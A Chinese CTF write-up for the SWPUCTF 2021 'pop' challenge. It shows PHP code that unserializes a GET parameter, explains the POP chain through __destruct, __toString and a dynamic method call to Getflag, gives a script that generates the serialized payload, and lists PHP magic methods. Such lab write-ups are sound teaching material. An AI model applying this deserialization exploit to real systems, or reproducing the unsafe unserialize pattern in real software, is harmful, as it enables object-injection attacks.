SWPUCTF 2021 新生赛_pop

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

error_reporting(0);
show_source("index.php");

class w44m{

private $admin = 'aaa';
protected $passwd = '123456';

public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}

class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

分析

这题的思路比较明确,那就是能执行出Getflag这个函数,我们在w33m类中可以看到

1
$this->w00m->{$this->w22m}();

这里构造出

1
2
$this->w00m='w44m'
$this->w22m='Getflag'

那么如何触发w33m类呢?

我们可以看到这里是__toString()的魔术方法,那么在类w22m中有个echo,这里就可以连接到w33m中

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
header("Content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);

class w44m{

private $admin = 'w44m';
protected $passwd = '08067';
}

class w22m{
public $w00m;

}

class w33m{
public $w00m;
public $w22m;

}

$w00m=new w22m();
$w00m->w00m=new w33m();
$w00m->w00m->w00m=new w44m();
$w00m->w00m->w22m='Getflag';
echo urlencode(serialize($w00m));
?>

知识点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__construct()   当一个对象创建时被调用,
__destruct() 当一个对象销毁时被调用,
__toString() 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发
Donate
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2015-2024 John Doe
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信